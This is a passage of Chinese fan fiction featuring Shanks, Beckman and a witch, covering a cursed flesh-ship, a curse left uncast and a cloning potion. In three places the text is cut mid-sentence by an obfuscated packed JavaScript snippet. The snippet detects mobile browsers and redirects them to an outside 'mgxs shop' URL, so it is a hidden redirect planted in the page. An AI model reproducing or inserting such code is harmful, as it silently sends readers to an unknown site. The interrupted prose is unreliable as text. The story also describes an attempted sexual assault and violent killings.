“讲重点。我没有多少耐心。”贝克曼冷冷地盯着他,“你是谁?来干嘛的?还有「遗产」的钥匙在哪?”
“别心急,伙计。我知道你们肯定也是为「赫里兹王的遗产」而来,我都会告诉你的,以及,我没有恶意,我抱着友好的态度想来和你们合作,你可以先把枪放下了吗?”
“要是你想听听枪响,我不介意现在就开一枪。”
“别、别!”地上男人的眼睛在黑暗中发出幽幽的光,他看到了贝克曼即将按下扳机的手指,“你喜欢举着枪听人说话就请便吧,我没有意见。”
“讲吧。”贝克曼把烟头掐灭扔到地上,“干脆点,希望不用我再给你配杯酒。”
“别拿我说笑了,伙计。我现在的身体什么都喝不了,何况酒——你也看到了,我现在这副样子。”他从地上抬起头,用一只干枯的手拨开凌乱的头发和胡子,露出浑浊的眼睛和布满疮口的皮肤。
“别看我现在这样,我以前也是个海贼——在变成现在这个鬼样子之前,我还是个船长咧。”地上的男人叹了口气,使劲用手撑起上身,“我成年不久就出海,招了一帮小弟在这周围近海附近抢劫商船,我们驾驶的就是现在这艘船,当时还只是艘普通的三桅帆船……”
“我不是来听你过往的回忆录的。”贝克曼打断他。
“伙计,我马上就说到重点了。”地上的男人又向前爬了两步,靠在墙壁上,“赫里兹王国出事之后,我们也想过去那捞一笔,说实话,总打劫商船也让人有点腻了。所以……就在我们从伊瓦图出发,驶向马努卡湾期间,有一个女人,找上了我们。”
说到这,男人的目光阴森起来,蓬乱的胡子微微颤抖,“她是个巫女。——虽然她没有表明来历,但我猜,她一定是从赫里兹那边来的。”
“继续。”
听到「巫女」两个字的时候,贝克曼微不可察地抬了下眼皮。
“那个巫女——她没有名字,很奇怪,对吧,不过也许是她不想告诉我们,不过那都无所谓了。最重要的是——她身上带着通往「遗产」的钥匙。”
那男人深深地呼吸了一口气,继续说:“她找到我们,说愿意把「遗产」的钥匙外加几块黄金送给我们,求我们航行时顺路带她去马努卡湾。我们当时——”男人冷笑两声,“我们当时以为自己运气不错,要不是那时伊瓦图局势动荡,她也不会找到我们这艘海贼船,我们也不会恰好得到这些宝贝了。”
说到这时,地下的男人抬头看了眼贝克曼,后者仍用枪口指着他。
“起初的航行一切顺利。”男人续道,“可就在大概过了两星期,我们靠岸之前的那个晚上,我和弟兄几个喝多了酒。我们聚在一起吹牛胡扯的时候,话题不知怎的提到了那个巫女——那个小妞,年纪轻轻,相貌也不错。然后我们……我们几个借着酒劲,一起闯去了她的房间。”
“看来这世上还没人教过你该怎么礼貌地对待女士,对吗?”
贝克曼忽然靠近他蹲下身,枪管几乎怼在了那男人的下巴上。这位大副的脸依旧冷冰冰的,但声音却明显带上了几分恼怒。
“不、不是的、我们还没——至少我们还没来得及做出什么。”地上的男人被贝克曼突然的举动吓坏了,他继续颤抖着说,“我那几个弟兄喝大了酒,叫女色冲昏了头,他们摁着她,剥她的衣服,然后对我说「老大,是时候让她见识一下真正的男人了。」……我那时候正在酒劲上,她挣扎得也厉害……就在那个过程中,我没有料到,她在枕头底下藏了一把刀,”
“然后她、然后她、”说着说着,地下的男人忽而大喘气起来,五官痛苦地扭曲在一起,“然后她用刀划伤了自己,流了血,我当时还愚蠢地嘲笑她连刀也不会用,结果很快……很快、她先是用一只手揪住我的头发,然后叫了一声我的名字,再之后、她叽里咕噜说了一些我听不懂的话——就在她说完之后,我的五脏六腑就像被针扎了那样痛——而且越来越痛。”
“再之后,”男人痛苦地闭上眼睛,“——一切都疯了。我的下半身变成了如今这样,像条肮脏的章鱼,你都看得到——我身体的一部分跟这艘船融合了。我的船员也没能逃过,他们彻底变成了船的一部分,骨头变成船架,头发变成船帆,血肉变成船舱,眼珠子跟地板融合——一切都疯了。”
“那要恭喜你们。”贝克曼冷笑了两声,“我找不到除了「活该」之外的话了。你冒犯了她,然后收到了些回报。你找我来干什么呢?”
“我可以把「赫里兹遗产」的钥匙给你!我知道那东西在哪儿!”地上的男人忽而拔高了语调,他抓着贝克曼的披风,像抓着最后的稻草,“只要你帮我找到那个女人——找到那个巫女,让她解开她恶毒的诅咒,我会把我能给你们的都给你!你们肯定比我有办法。”
“我们比你有办法?”贝克曼重复了下这句话,“很凑巧,你说的巫女——她现在正在我们船上。你以后大可不必再去求其他的人帮你实现愿望了,在我之前,同样的请求你也说给过别人,对吗?”
地上的男人没太听懂贝克曼话中的含义,他愣了一下。
“说话!”
枪管捅在他的脑门上,他才回过神来。
“是……是……伙计,你说的对。我很久以前求过其他来这艘船寻宝的探险者,但都没什么后续。在你之前,就在刚刚,我先尝试找过你们船长——就是那个红发,可那家伙的脾气我根本捉摸不透,我的话他听着听着,他忽然抽刀把我给砍了——我根本不知道是哪句惹怒了他。多亏我现在的生命和这整艘船相连,我才没有死。”
贝克曼对他冷漠
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17261291|198036||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
地笑了笑,而后站起身,把他的手甩到地上:“你确实没从过往的任何经历中学到教训。我说过,你以后不用再去求别人了。你想要答复,我现在就可以给你。”
地上的男人狼狈地抬起头,看到燧发枪的枪口直指他的脑门。
他本想听听面前这位大副是不是要说些别的话,可最终回应他的只有一声枪响和一颗子弹。
————————————————
“然后呢?你到底想说什么?”
时间回到现在,巫女仍旧拎着面前男人的头发,看着他瘫在地下状若无骨的下肢和其上抽搐不止的尖刺。“在我之前,你去找过我现在的船长和大副,我不知道你和他们商量出了什么结果,你告诉我这些,是想威胁我吗?”
“我只有一个诉求,那就是解开我的诅咒!你这个魔女!”男人在她手里挣扎着,“看着我求生不得,求死不能的样子你很享受是不是?我现在连痛快去死都做不到!”
“你值得。”巫女轻描淡写地说。
“你现在还能这么无动于衷?”男人干枯的头发被她抓着,怒极反笑,“你觉得你自己就能全身而退了?我告诉你,海贼全都是一丘之貉!你别以为找到红发就是找到靠山了!他们和我们本质上没什么不同。”
“你说够了没有?我真该把你的舌头也变成一条鱼。”巫女揪着他的头发把他的脑袋摔到地上。
“你是一个赌徒,赫里兹的巫女。你把赌注押在红发海贼团身上,去赌命运会厚待你。”那男人咬牙切齿地对她说,“但你别忘了,我手上也有筹码,现在这艘船的主人是我,「赫里兹遗产」钥匙的持有者也是我。”
话音刚落,船舱四周的墙壁就像是鼓起来的肺一样不断向她鼓胀靠近,挤压着最后一点空间。
“现在就解除诅咒!不然我会让这艘船把你挤死!”男人发出了最后的警告。
“那你就试试吧!看我会不会怕你!”
巫女寸步不让地喊着,船舱的宽度已迅速缩减到原来的一半。
她紧握巫杖,准备做点什么,可就在这个时候,忽而一阵剧烈的地动山摇,船舱的地板和墙壁也为之晃动。
而后就是一道斩击,剑刃劈开墙壁、豁开地板,连空气都为之震动。
她熟悉这道斩击,尽管她见过的次数不多,但总会给她留下很深刻的印象。那道劈开船舱的攻击,来自狮鹫的爪牙——那是香克斯的斩击。
“嘿呀,海星,你也跑到这里来了呀。”
“船长……我不叫海星。”
红色的身影站在船舱巨大豁口的尽头,格里芬并未收鞘,刀光仍亮得晃眼。
四周的墙壁霎时停止了膨胀,地上趴着的男人也随之停止了动作。他从地上抬起头,用扭曲的脸和惊恐的目光望着香克斯。
香克斯也看到了他,目光转到他的瞬间,表情起了明显的变化。
香克斯绷着脸的样子很可怕,巫女不止一次地这么觉得。就像是……
“等等!红发!难道你不想知道钥匙在哪?难道你不想拿到赫里——”
趴在地上的男人未能说出最后的一句话,红发的船长几步便闪身上前,长刀挥出,那是短促、有力且坚决的一刀,正中男人的双眉之间。
“这下他说不出话了。”巫女看着地面上被一分为二的躯体。
“他值得。”香克斯轻描淡写地说。
“我刚才砍过他一次。没想到在这儿又遇见了。”香克斯收了刀,表情缓和下来。
“他的生命已经和整艘船融合,船还在,他就能一直重振旗鼓……不说这个。船长,你打算怎么办呢?刚才唯一知道钥匙下落的人叫你砍了。”
“哎呀……这个!”香克斯后知后觉似的,扮了个鬼脸,“总有办法嘛,反正就在这艘船上,大不了把整艘船底朝天翻一遍,肯定能翻到!”
“……”巫女听到他的计划,感到有些头痛,“你跟我来吧,船长。”
“这艘船指挥室旁边还有个小房间,钥匙大概会藏在那里。”
21. 人皮船(三)
巫女没有解释为什么她会熟悉这艘船的结构,香克斯也没有问。
两个人只是前后走在船廊的过道上。
赌徒。巫女又想起了刚才的话。那个人说的对,她只是在赌,赌她身后的红发船长和她曾经遇到过的其他海贼不一样。可真是那样吗?海贼尽是一丘之貉,或许这句话也没错。
她皱着眉,沉默地走在前面。
香克斯走在她身后看着她,她看上去情绪不高,香克斯想,也许她想起了曾经在这艘船上的糟心事。那样就不好了。香克斯觉得这个时候他应该……想办法让她开心点,或者至少转移一下注意力。
“海星。”
“什么事?船长……算了,你想叫海星就叫吧。”
“我只是想起一件事想跟你说,”香克斯挠挠头发,语气很神秘,“以前我们航行的时候,遇到过一种海上妖精,这种妖精会把来往的船只洗劫一空,你想不想知道它是什么?”
“什么?”巫女兴趣缺缺地说。
“是洗洁精。”
“……你的笑话快要把我冻伤了,船长。”她嘴角抽了两下,但不是因为想笑。
香克斯笑得倒是开心,他眨眨眼睛,从身后拍拍她的肩膀。
“我还听过好多呢,你想听吗,其实,我刚刚又想到一个……”
“不想……行了,船长,咱们要到了,就是这里。”
她停在一扇门前,推开了那扇门。
迎面而来有股浓重的血腥气,混杂着金属的锈味和灰尘的味道。几根弯曲的肋骨形成了舱室的围挡,发光苔藓爬上肋骨边缘,给一切事物罩上一层惨淡的光晕。
“这儿以前是他们藏宝的地方,那边地板有个暗格,”巫女说着,指指房间的角落,“去找找吧,船长。”
“噢噢,我闻到了财宝的味道!”
“我只闻到了血味。”财宝是什么味道,她闻不出来。
香克斯走过去蹲下身敲敲那块地板的暗格,他开始忙着和寻找财宝做搏斗了。
赌徒。一丘之貉。她又想起那个人的话,像预言一样挥之不去,缠在她的脑海里,她盯着香克斯,一种强烈的想法从心中升起。
是的,她是赌徒,也许她现在就该赌一赌,别把问题留给以后了。
她要试一试,就是现在。
她低头看了看自己的手臂,上面还有些刚才留下的擦伤,以及未干的血迹。
血。这是第一步。
“我找到了!海星,来看看,是不是这个盒子?”
香克斯举起一个木制的盒子,左右晃了晃,里面发出些轻微的声响。
巫女走近蹲在地上的香克斯,但她的注意力一点儿都没分给他手里的那个盒子,她只是自始至终紧盯着香克斯,目光直直地看向他。
然后她伸出手,轻轻地抚上了他的脸侧。
在被她触碰到的一瞬间,香克斯短暂地愣了一下。他的目光很快也从那个小盒子转移到她身上。
巫女什么也没有说。只是任凭自己的指腹缓慢地蹭过对方的脸颊和耳垂,她的手掌在那里停留片刻,使这触碰几乎算得上是一种挑逗。
香克斯蹲在地上抬头看她,感受她的抚触像羽毛一样擦过自己的耳侧,有点痒,但又很温暖。
她的手像一张缓慢收紧的蛛网,一点一点发力,直至把他耳侧红色的发丝深深地勒进指缝——她揪住了他的头发。
这是第二步。
和她想的一样,挣脱她是件很容易的事,但香克斯并没有这样做。
船长,其实你也是个赌徒吧。或许,我们两个正在赌一件同样的事情。她看向那双红色的眼睛,这样想着。
她感到自己的心脏也随之揪紧,就像赌徒即将揭示自己的筹码,在结局发生之前,一败涂地或大获全胜,谁都不知道会怎样。
“香克斯。”
她头一次认真地、郑重地叫了他的名字。
名字——这是第三步。
结局在一步步逼近。名字之后就是咒语。
“嗯。什么事?”
香克斯坦然地回答她,迎上她的目光,语气很轻松,就像在回答早上的天气。
她深深地望着他,徒劳地动了动嘴巴,似乎打算说些什么,但最终却没能发出一个音节。
说啊!把咒语说出口,让这一切结束。
把咒语说出口,让海贼也好,一丘之貉也好,让这些都见鬼去!
说啊!
脑海中混乱的声音在向她咆哮。她甚至可以清晰地听见自己心脏跳动的声音,狂躁的轰鸣声几乎要冲破胸腔。
说啊!
在她发出声音的一瞬间,她突然明白了,她意识到她真正想对他说的并不是咒语——并不是那些由血液、头发,名字和仇恨组成的诅咒——她只想告诉他自己曾经的样子,那些让她难以忘怀的往事,那些欢快的、悲伤的、她在成为巫女之前的事情,甚至于,她真实的名字——全都告诉给那双红色的眼睛。
她被自己的念头吓了一跳。
“香克斯……”
她无意识地重复了一遍他的名字,紧揪着他头发的手渐渐放松了力道。
香克斯把刚找到的小木盒搁在一旁地上,就像回应她呼唤的声音一样,他用唯一的那只手,轻轻地覆上了她的手背。
红色的眼睛。不知怎的,她想起了曾经的那只小猫,在帕帕哈瑙森林里捡到的那只红色皮毛的小猫。她的小猫——在和它共处的第一个、也是最后一个夜晚,那只红色的小猫也曾用相似的眼睛注视着她。那双眼里没有憎恨、没有畏惧、没有贪婪也没有忧虑,就只是看着,像天上一眨一眨的星星。
她长长地叹了口气,良久之后,像是终于做出什么决定一般,放开了手。
不管是她,还是香克斯,所有人都是心甘情愿的赌徒,这一点儿也没错。只是这场博弈没有输家。
她看看香克斯,对方仍拉着她的手,她觉得现在两个人的场面稍微有些尴尬,还是需要说点什么来结束的。
“船长……你该洗头了。”
她岔开话题,移开视线,彻底放弃了对他下咒的想法。
————————————————
“所有人都从那鬼地方撤了吗?让他们各自点点人头。”
耶稣布调着瞄准镜的角度,目标就是前方摇曳在海浪里的「人皮船」,枪已经架好了。
“人齐了。”
“那小姑娘也回来了?”
“她和头儿一起回来的,我刚把她送去本乡那儿了。”嘎布回答道,他站在耶稣布身旁看着不远处的船,他刚从那上面下来。
“你也上去了,嘎布?”耶稣布对他的决定稍显得有些惊讶,“你不怕那些玩意儿了?”
“就算怕也没有关系了。”嘎布只是笑笑,随即又看向耶稣布架好的枪,“你打算炸沉这艘船吗?”
“是啊,头儿觉得这样更好。”耶稣布的眼睛已经对上了瞄准镜,手指搭在扳机上。
“全体都有!”他喊道,“跟这艘鬼船说再见吧!我想应该没什么人会舍不得吧?”
一阵耀目的火光和刺耳的轰鸣之后,那艘由骨肉撑起的船只彻底被海水吞噬。
巫女透过舷窗看着海面上的火光,海面上的雾渐渐散了,夕阳露出了朦胧的影子。
“谢谢你,医生,”她转过头对本乡说,后者正低头扎紧她手臂上的绷带,“你送我的棍子帮了大忙。”
“举手之劳而已,”这位医生爽朗笑笑,“又不是件难事,我用的那棍子也是自己做的。”
“本乡做武器一向有两下子,”贝克曼坐在医务室靠墙的那一把椅子上向她补充道,“哪怕是枪械也更轻便。”
“有眼光!”本乡并未迟疑便接受了大副的赞美,尽管他心里十分清楚贝克曼坐在这里的主要目的可不是为了赞美他而来
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17261292|198036||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的。
“好了!”本乡系好她手臂上绷带的最后一个结,“我去看看甲板上的那群家伙,你——”
本乡的目光在贝克曼和巫女两人之间游移了一下。哦,他们的大副,没有受伤却要坐在这里,坐在人家姑娘身边,他简直不知道贝克曼到底要干嘛。不对,硬要说的话,他知道,他太知道了。干部都是一路混过来的,每个人的德性他清楚得很。
本乡的目光落在巫女身上:“你可以在这里继续呆会儿,当然也可以回去,随便怎么样都可以,”随后,他把目光转向贝克曼,声音加重了一些,“但是不管怎么样,我之后很快都会回来。”
考虑到这位大副动机存疑,本乡离开房间时特地敞开了门,在别的地方他管不到,至少在他的医务室里,他要贝克曼收敛点。
“我以为你是来找我问话的。”巫女垂头去看手臂上的绷带,她谨慎地对贝克曼开口了。
“问话——那种程度太过了。人总有不想说事情的时候,只有等你愿意聊聊的时候,两个人的聊天才会愉快。至少我是这样想的。”大副嘴里仍叼着烟,但烟头并未点燃,等等吧,他想。
“是这样吗,我以为当时船上的那个人已经告诉给你很多了。他跟我说他曾找过你,你们的聊天愉快吗?”
“不愉快。”贝克曼简洁地回答,随后补充道,“和他不是一路人,最重要的是,我想我还是更乐意和女士聊天。”
夕阳的光辉透过舷窗洒进船舱。巫女盯着贝克曼叼着的烟,她沉默了一会儿,继续说:
“但他一定告诉过你,他的那艘「人皮船」究竟是怎么来的吧。”她背后倚着墙壁,声音很轻,“只需要一个最简单但也最难的咒语——就可以把整艘船变成那个样子。难道他没有向你预警过未来的命运——如果继续留我在船上,会发生的种种糟糕的事情吗?”
“也许他想过这么做,”贝克曼答道,他把烟取下夹在指间,“但我也不清楚,因为在他说出那些话之前,我请他吃了颗子弹。”
“要是那个人没对你说过,”巫女从座位上站起身,来到大副椅子边,“不如我为你演示一下好了。”
“贝克曼。”她逐渐拉近了和他的距离,抬起手臂将手放在他肩膀上,用手指灵巧地勾住了他的头发,“要把一个正常的人变成怪物,这个诅咒实施起来最简单,只需要四样东西:血液或伤口、抓住对方的头发、叫出对方的名字——就像我刚才那样——以及一些适当的咒语。”
“看来你现在已经拥有其中三样东西了,”贝克曼嘴角挂着不易察觉的微笑,他既没有乱动,也没有躲开,甚至伸出胳膊将她往自己的方向揽了一下,放轻声音对她说话,“不继续吗?巫女小姐?只要再加上咒语,四样就凑齐了。”
“你胆子倒是很大嘛,副船长。”她的手依旧搭着他的肩膀,隔着低垂的眼睫看着他,“但我说过,这个诅咒最简单也最难。除了那四样之外,还有一个东西是必需的——尽管那东西看不见摸不着——可没有它,诅咒就无法施行。”
“要我猜猜吗?”
“不用,我现在就可以告诉你——还需要「恨」,「仇恨」或者「怨恨」,这种激烈浓稠的感情作为咒语必要的催化剂。”
“副船长,”她稍稍拉开了些和他之间的距离,“人或许可以经常欺骗别人,但却永远不能欺骗自己的心。我以为我恨你们,但是我没有——我无法欺骗自己,所以我也用不了这个咒语。”
她移开了视线,目光越过大副看向舷窗外,继续道:“其实你们从帕帕哈瑙的森林把我抓到这里之后,我觉得你们很讨厌,但我并不恨你们,或许是还没到恨的程度,或许是我觉得这一部分也是命运的安排——因为我总有一天还要再回到赫里兹。”
“总之,我不恨你们,所以也根本用不了那个咒语。”
舷窗外,夕阳红得像火一样,使她再次想起了香克斯,想起了他那双红色的眼睛。
22. 复制魔药(一)
她无法相信眼前发生的一切。
她此时正坐在雷德弗斯号图书室的中心,这间不大的舱室二分之一用来藏书,另外二分之一则被她暂时借用做制药和储藏的空间,反正这书室平时也没什么人会来。
她僵硬地向左转头看——有一个香克斯在那里,正稀里哗啦百无聊赖地用一只手扇动书页,为什么说「一个」香克斯?当然,因为还有一个呢——另一个香克斯在她右边,有一半身体几乎埋在箱子堆里,噼里啪啦挨个翻找那些旧物件里的新东西。
两个已经够让她头大的了,老天保佑,根本就不止两个!她一转头,还有一个香克斯已经翻身爬上了书架,不知道书架上到底有什么东西吸引到他了,还有一个香克斯在书架下试图把另一个香克斯拽下来。
巫女捂着脑袋,几乎要把头发抓乱了,还有两个香克斯在她前方叽叽喳喳地聊天,聊乐了、聊美了,爆发出一阵豪放的大笑,惊动到了靠在书柜旁呼呼大睡的另一个香克斯。
几个了?现在是几个了?她环顾四周,这座本就不大的书室,抛除储物空间,剩余的地方几乎三分之二都挤满了四处活动的红毛脑袋,吵吵嚷嚷闹闹哄哄的程度堪比繁华城镇的早市。
“海星!看,这书页折一折还能当扇子用。”
一个香克斯向她晃着手里皱巴巴的折纸。
“瞧瞧我发现了什么?船员航行手册!贝克他以前还拿这个——”
一个香克斯从众多箱子中抬起头。
“我记得还藏在这上面两瓶,酒呢?喂!别拽我裤子了!”
“给我腾点儿位置,我也要上去!”
一个香克斯拽着书架上另一个香克斯的裤脚。
“我先说!我先说,扑克!好了,该你了。”
“该我了。克?嗯……克……克贝曼!”
“这算哪门子词语啊?哈哈哈哈哈哈,罚你酒——欸,没酒了?”
一个香克斯跟另一个香克斯玩起了词语接龙,每局都会在第一回合结束,因为头一个提词的香克斯永远会想出一些稀奇古怪的词语。
“你们俩玩什么呢?我也要加入。”
一个香克斯从呼呼大睡中醒了过来。
以及更多……
巫女认命地盯着天花板,这个房间里至少还剩下天花板上没有香克斯。
————————————————
一切都要从早上说起。
这是雷德弗斯上一个平凡而又普通的早上。至少原本应该是这样。
路在整理餐盘的时候看到巫女形色匆匆地走进了食堂,这多少有些非同寻常,引起了厨师的注意,不仅因为她看上去有些局促不安,而且这个时间段她一般不会在食堂露脸。
路照例跟她打了招呼,这位胖鼓鼓的厨师从水池前扭过身体,看到她神神秘秘地坐在了吧台前。
“厨师先生,早上好。呃……你有没有、嗯……看到过一个玻璃瓶?大概这么大,”她用手比划了一下,“跟普通苹果差不多大,但是颜色是透明的那种?”
“玻璃瓶?我这儿有些酒瓶子,看看这些,如果你需要的话,”路从吧台下面抬上了一箱细瓶颈啤酒,“不过好像没有透明的瓶子,你要喝酒吗?但我建议先吃饭,早上空腹喝酒会难受。”
“不,我不是要喝酒,谢谢你,厨师先生,”巫女叹了口气,眼神在那箱酒中扫视了一圈,看上去有些失落,“我的药瓶子丢了——原本我藏在书室的旧箱子里,那虽然不是毒药,但希望没有哪个倒霉蛋把它当酒喝。”
“当酒喝?”坐在离吧台最近桌子边的本克宾治大笑了几声,“那你得小心头儿了,他到处藏酒到处喝,有时甚至不惜使用他抵抗见闻色的绝技——就为了骗过贝克的耳目。”
“你、你说……你说香克斯?”她面色讶异,语气逐渐慌乱起来,甚至开始磕巴,“是香克斯吗?他也在书室藏了酒吗?难道我的那瓶药被他喝了?他、他现在在哪儿?还有……”
“呃,我该先回答哪个问题?”宾治耸耸肩,“头儿早上饿醒了就会来食堂,你可以向他问问,但有时也不一定,如果你着急,可以先去问问贝克,”宾治塞了一口饭在嘴里,笑着对她说,他显然还没意识到事情的严重性:“那句话怎么说来着?——船长的问题通常找副船长解决。”
“那副船长在哪儿?”她刷一下子从吧台座位上站起身,现在一刻也耽误不得了。
“我听到有人叫我,又出什么事了?”
食堂的扇门被推开,贝克曼叼着烟一如既往地走进来,他通常会在早上的这个时间段来食堂,只是今天他听到好像有人在叫他。不知道又出什么事了,嗯……他为什么要下意识说「又」?
清晨这个时间段食堂的人只有零散几个,太阳也才刚刚从海平线升起,今天的海面没什么大的风波,航路风平浪静,一切看上去都那么祥和。
巫女几步飞奔到他身边,他很少看过她这么慌张的样子:“副船长,我想知道香克——呃,我是说,船长,他现在在哪?我把魔药放在图书室结果第二天就找不到了那瓶药还没有完成那是一瓶糟糕的药虽然不是毒药但我发誓比真正的毒药糟糕一百倍尤其是被船长喝下去的话如果船长真的把那瓶药当酒喝了那现在——”
“冷静点,姑娘,冷静。”她焦急到说话已经失去停顿了,这还是贝克曼第一次见,他尝试安抚她,让她情绪平静下来。
“现在不是冷静的时候!副船长,”她甩开他的手,“这艘船上的所有人都可以喝那瓶药——只有香克斯不可以!只有他不可以!如果船长真的喝了,那就——”
“就会怎样?为什么只有他不能喝?”贝克曼有点疑惑,她刚才说「魔药」——他上次听到这个词还是在北海的时候,在某些岛屿的传说中,女巫、术士或传道者会用带有魔力的药剂改变人的身体或心理,不过那些大多只是传说。
“你问为什么,呵……”巫女转而阴森森地笑了,她盯着贝克曼,小声念叨着,“你马上就会知道了,副船长,你马上就会知道了……”
贝克曼心里突然涌现一股不好的预感,这并不来自于他的见闻色,仅仅只是他的直觉,他的直觉一向不错。
就像是呼应他心中那种糟糕的预感一般,下一刻,食堂的双扇门被同时推开了。
“早上好!肚子要饿死了,吃饭吃饭!”
“早上好!肚子要饿死了,吃饭吃饭!”
两道一模一样的声音来自左右门扇之后同时响起。
几乎是同一时间,食堂里所有人的目光齐刷刷地指向门口那两颗红脑袋。
——两个一模一样的香克斯。
“是我眼花了吗?路?”本克宾治使劲揉揉眼睛,又用力睁开,“我怎么看见两个头儿?”
路一句话也没回答他,这位厨师麻利整理碗盘的手像是被突然按下暂停键一样,他侧着脑袋,在所有人难以置信的目光中贡献了自己的一份,下巴震惊地快要掉到地上。
“早上好?大家看什么呢?”本乡也推门走进来了,“头儿你也在啊、——我靠!!!”
两个香克斯同时转头向本乡打招呼,六目相对给这位医生吓了一跳。
“本乡你大呼小叫什么?头儿你也——我靠!!!”莱姆琼斯正巧走在他身后进了门,他本来打算对本乡大清早一惊一乍的行为指责几句,在看到两个香克斯之后却完整复刻了本乡的反应。
“是我眼花了吗?”
“两个头儿?拜托……”
“哈哈哈哈我就说肯定会让你们大吃一惊的。”其中一个香克斯用右胳膊勾着另一个香克斯的肩膀,两个香克斯动作划一地大笑起来,“今天一早醒来,发现身旁突然多出来一个跟自己一模一样的家伙,我们俩就跟照镜子似的,相当合得来啊!”
“不是、这、你们…….”本乡一时间哑口无言,他左右看看两个香克斯,没看出任何差别。
“以后我们要有两个头儿了吗?”莱姆琼斯瘪瘪嘴,头儿是个好家伙,两个头儿是双倍的好家伙,但总觉得怪怪的。
“怎么可能有两个!原本就只有一个,另一个到底是哪来的?”本克宾治大声嚎叫道。
拉基路紧紧皱着眉头,他一会儿对面前的场景感到诡异,一会儿又担心起早餐只备了一份,有一个香克斯会吃不饱。
“也许这里有人能解释一下。”贝克曼连烟也不抽了,他双臂交叉抱在胸前,脸色吓人地可怕,哪怕不用见闻色,他都能预知到两个香克斯会带来的麻烦,一加一的效果绝对远大于二。
“是「复制魔药」。”巫女多少有些心虚地低下头,“喝下魔药的人睡一觉醒来之后,身边会多出一个和本体一样的复制品。”
两个香克斯在食堂已经开始琢磨着比比谁吃的速度更快,自己跟自己比拼,这是一个多么难得且有趣的机会啊。
太阳一点点从海平面升起,食堂聚集的人越来越多,两个香克斯被一群人围在中间,他们好奇地围观这两个镜像一样的人。
“所以现在要怎么称呼?头儿1,头儿2?”
“分什么1和2?都是头儿,一个是香克斯A,另一个是香克斯B。”
“AB太难听了,干脆一个叫香克斯(shanks),一个叫删克斯(thanks)。不用谢。”
“我听不懂你的冷笑话。”
两个香克斯从比吃饭到开始比喝酒,巨大的声势引起了食堂的一阵骚动。
“头儿1加油!喝啊!2也加油!”
“上啊!头儿B,别输给头儿A!”
“删克斯要先喝光了!”
“谁赢了?”
“都醉得趴桌啦哈哈哈哈,他们俩连趴的姿势都一模一样。”
“你说,要是他们俩打一架,谁更厉害?”
“在船上打?你想毁了这艘船吗?笨蛋!”
食堂顿时跟酒馆一样热络,这个本应普通的早晨变得非比寻常了。
“有办法变回去吗?”她听到贝克曼问她,大副用手按着额头,他的声音听上去有点累。
“我想应该是……有的。我说不准,副船长,因为那瓶「复制魔药」说到底也还不是完全版,不过我会试着去配解药。”她说话的时候,依然不敢去看大副的眼睛。
“贝克,”拉基路上前看了看趴在桌子上的两个香克斯,“两个头儿都醉得睡过去了,我们现在怎么办?”
“往他们脸上抽两巴掌。”
————————————————
“嘿!海星,你在吗?”
“我不在。”
巫女无精打采地回了话,她正把草木犀和鼠尾兰的混合物磨成粉,一点一点倒进圆口的玻璃瓶里。
“你在干嘛?”红色的脑袋探了过来。
“我在做你的解药,船长——你是船长A还是船长B?算了
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17261293|198036||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,都无所谓,另一个船长人呢?”
“另一个我?我们在各种主意上都惊人地一拍即合,我们俩在一起尝试了比猜拳、打牌、猜硬币、钓鱼、掰手腕、骑着海兽在海上赛跑、”香克斯A或B兴致勃勃地盘腿坐在地上讲述着,“没有一个分出胜负,后来我们打算,干脆比比谁在水下憋气时间更久好了,然后——”
“然后又平局了?”
“这次没有,就在我们憋气到极限的时候,叫贝克给捞上来了,我们现在也不知道到底谁的时间更长一点,也许是我呢?”香克斯不无遗憾地说,随即又亮起眼睛,“就在贝克打算教训我们一下的时候,我们俩同时分头跑走了,拔腿就跑哈哈哈哈哈,结果贝克只能选一个追。”
“副船长……好可怜。”她几乎能想象得到当时的场景了。不知为何,她想象到了单身妇女带俩娃的辛苦,这个比喻并不恰当,她赶紧提醒自己。
“这太新鲜了!海星,”香克斯兴奋地说,“我很小的时候想象过,如果世界上多了一个跟自己的长相、经历还有性格都一模一样的人的话,那到底会怎么样?”
“现在你知道了。”她接着他的话说,又在圆口瓶里灌了些水,“所以你来我这儿是为了什么?船长。”
“嗯……”香克斯故作神秘地眨眨眼,“你有喝的吗?”
“没有。如果你说的是酒的话。”
“还好我带了。”
香克斯起身去书室一旁的木制书架边,抬起手在最上层的藏书中摸索着,他个子很高,几乎不费吹灰之力就能够到最上面。
“你在找什么?找书?”她不能把「看书」和「香克斯」这两个词联系到一起,就像「鱼」和「自行车」一样,除非太阳打西边出来了。
“我在找一本岛屿图集,我最喜欢那种图集了,”香克斯语气轻松,“因为那些地图够大,后面能藏不少朗姆酒。”
“找到了。”
